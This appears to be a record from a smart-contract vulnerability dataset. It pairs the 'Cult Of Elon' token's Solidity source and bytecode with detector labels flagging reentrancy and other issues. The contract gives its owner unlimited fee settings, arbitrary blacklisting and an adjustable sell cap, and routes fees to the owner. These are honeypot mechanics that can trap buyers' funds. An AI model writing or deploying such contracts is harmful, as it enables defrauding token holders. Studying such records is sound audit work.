9383613dd0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cc857613cc7613eeb565b5b828201905092915050565b6000613cde82613dd0565b9150613ce983613dd0565b925082613cf957613cf8613f1a565b5b828204905092915050565b6000613d0f82613dd0565b9150613d1a83613dd0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d5357613d52613eeb565b5b828202905092915050565b6000613d6982613dd0565b9150613d7483613dd0565b925082821015613d8757613d86613eeb565b5b828203905092915050565b6000613d9d82613db0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613e0682613dd0565b9050919050565b60005b83811015613e2b578082015181840152602081019050613e10565b83811115613e3a576000848401525b50505050565b613e4982613fbb565b810181811067ffffffffffffffff82111715613e6857613e67613f78565b5b80604052505050565b6000613e7c82613dd0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613eaf57613eae613eeb565b5b600182019050919050565b6000613ec582613dda565b915067ffffffffffffffff821415613ee057613edf613eeb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6141db81613d92565b81146141e657600080fd5b50565b6141f281613da4565b81146141fd57600080fd5b50565b61420981613dd0565b811461421457600080fd5b5056fea2646970667358221220e309d3b2d4eb1012ba0aad92963ace37c3372873da4098326c8de8c9fe7ca67964736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2581, 23499, 2683, 2497, 2850, 2683, 2549, 2063, 2575, 2683, 2575, 17134, 10354, 2063, 2692, 23499, 28756, 2581, 3540, 2629, 2094, 17914, 2581, 21057, 26224, 19481, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2861, 1008, 1056, 1012, 2033, 1013, 13451, 16168, 12879, 29027, 9956, 7520, 11082, 4231, 999, 1008, 1008, 1013, 1013, 1008, 1008, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1020, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,640
0x9577858f712aac8cb72eb634dfde066b4fc23921
pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract CultOfElon is ERC20, Ownable { using SafeMath for uint256; uint256 buyFee; uint256 sellFee; bool private swapping; bool private isTradingEnabled; uint256 private startTime; uint256 public swapTokensAtAmount = 85 * 10**5 * (10**18); uint256 public maxSellAmt = 2 * 10**18; IUniswapV2Router02 public uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) private _isExcluded; mapping (address => bool) public _isBlacklisted; constructor() public ERC20("Cult Of Elon", "Cult Of Elon") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _isExcluded[owner()] = true; _isExcluded[address(this)] = true; _isBlacklisted[address(0)] = true; buyFee = 80; sellFee = 110; _mint(owner(), 10**12 * (10**18)); } receive() external payable { } function _transfer( address from, address to, uint256 amount ) internal override { require(!_isBlacklisted[from] && !_isBlacklisted[to], "To or From address is blacklisted."); if (!isTradingEnabled) { require(_isExcluded[to] || _isExcluded[from], "Trading is not yet enabled. Be patient!"); } else if (block.timestamp - startTime < 20 && from == uniswapV2Pair) { require(amount <= 50**9 * (50**18), "Over max buy amt."); } else if (to == uniswapV2Pair) { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uint[] memory amounts = uniswapV2Router.getAmountsOut(amount, path); require(amounts[1] <= maxSellAmt); } if(amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && !swapping && from != uniswapV2Pair && from != owner() && to != owner() ) { swapping = true; uint256 swapTokens = contractTokenBalance.div(100); swapAndLiquify(swapTokens); uint256 sellTokens = balanceOf(address(this)); swapAndSendDividends(sellTokens); swapping = false; } bool takeFee = !swapping; if(_isExcluded[from] || _isExcluded[to]) { takeFee = false; } if(takeFee) { uint256 fees; if (from == uniswapV2Pair) { fees = amount.mul(buyFee).div(1000); } else if (to == uniswapV2Pair) { fees = amount.mul(sellFee).div(1000); } amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); } function swapAndLiquify(uint256 tokens) private { uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function swapAndSendDividends(uint256 tokens) private { swapTokensForEth(tokens); payable(owner()).transfer(address(this).balance); } function setBlacklist(address account, bool value) external onlyOwner { _isBlacklisted[account] = value; } function enableTrading() external onlyOwner { require(!isTradingEnabled); isTradingEnabled = true; startTime = block.timestamp; } function setSwapAtAmount(uint256 amount) external onlyOwner { swapTokensAtAmount = amount; } function setMaxSellAmt(uint256 amount) external onlyOwner { maxSellAmt = amount; } function setBuyFee(uint256 value) external onlyOwner { buyFee = value; } function setSellFee(uint256 value) external onlyOwner { sellFee = value; } }
0x60806040526004361061016a5760003560e01c806349bd5a5e116100d15780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610804578063dd62ed3e14610875578063e2f45605146108fa578063f2fde38b1461092557610171565b80638da5cb5b146106c257806395d89b4114610703578063a457c2d71461079357610171565b806349bd5a5e146105785780636402511e146105b957806370a08231146105f4578063715018a6146106595780638a8c523c146106705780638b4cee081461068757610171565b80631cdd3be3116101235780631cdd3be31461037b57806323b872dd146103e2578063313ce5671461047357806333cdacd9146104a157806339509351146104cc57806340e90a7e1461053d57610171565b806306fdde0314610176578063095ea7b3146102065780630cc835a314610277578063153b0d1e146102b25780631694505e1461030f57806318160ddd1461035057610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610976565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061025f6004803603604081101561022957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a18565b60405180821515815260200191505060405180910390f35b34801561028357600080fd5b506102b06004803603602081101561029a57600080fd5b8101908080359060200190929190505050610a36565b005b3480156102be57600080fd5b5061030d600480360360408110156102d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610b0a565b005b34801561031b57600080fd5b50610324610c2f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035c57600080fd5b50610365610c55565b6040518082815260200191505060405180910390f35b34801561038757600080fd5b506103ca6004803603602081101561039e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c5f565b60405180821515815260200191505060405180910390f35b3480156103ee57600080fd5b5061045b6004803603606081101561040557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7f565b60405180821515815260200191505060405180910390f35b34801561047f57600080fd5b50610488610d58565b604051808260ff16815260200191505060405180910390f35b3480156104ad57600080fd5b506104b6610d61565b6040518082815260200191505060405180910390f35b3480156104d857600080fd5b50610525600480360360408110156104ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d67565b60405180821515815260200191505060405180910390f35b34801561054957600080fd5b506105766004803603602081101561056057600080fd5b8101908080359060200190929190505050610e1a565b005b34801561058457600080fd5b5061058d610eee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105c557600080fd5b506105f2600480360360208110156105dc57600080fd5b8101908080359060200190929190505050610f12565b005b34801561060057600080fd5b506106436004803603602081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe6565b6040518082815260200191505060405180910390f35b34801561066557600080fd5b5061066e61102e565b005b34801561067c57600080fd5b506106856111b9565b005b34801561069357600080fd5b506106c0600480360360208110156106aa57600080fd5b81019080803590602001909291905050506112c1565b005b3480156106ce57600080fd5b506106d7611395565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070f57600080fd5b506107186113bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075857808201518184015260208101905061073d565b50505050905090810190601f1680156107855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079f57600080fd5b506107ec600480360360408110156107b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611461565b60405180821515815260200191505060405180910390f35b34801561081057600080fd5b5061085d6004803603604081101561082757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061152e565b60405180821515815260200191505060405180910390f35b34801561088157600080fd5b506108e46004803603604081101561089857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061154c565b6040518082815260200191505060405180910390f35b34801561090657600080fd5b5061090f6115d3565b6040518082815260200191505060405180910390f35b34801561093157600080fd5b506109746004803603602081101561094857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d9565b005b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0e5780601f106109e357610100808354040283529160200191610a0e565b820191906000526020600020905b8154815290600101906020018083116109f157829003601f168201915b5050505050905090565b6000610a2c610a25611871565b8484611879565b6001905092915050565b610a3e611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060068190555050565b610b12611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000610c8c848484611a70565b610d4d84610c98611871565b610d4885604051806060016040528060288152602001612f7460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cfe611871565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124939092919063ffffffff16565b611879565b600190509392505050565b60006012905090565b600b5481565b6000610e10610d74611871565b84610e0b8560016000610d85611871565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e990919063ffffffff16565b611879565b6001905092915050565b610e22611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600b8190555050565b7f00000000000000000000000000cc85a7664dbb84fc0c91fda6c86e401ffd1e5e81565b610f1a611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600a8190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611036611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff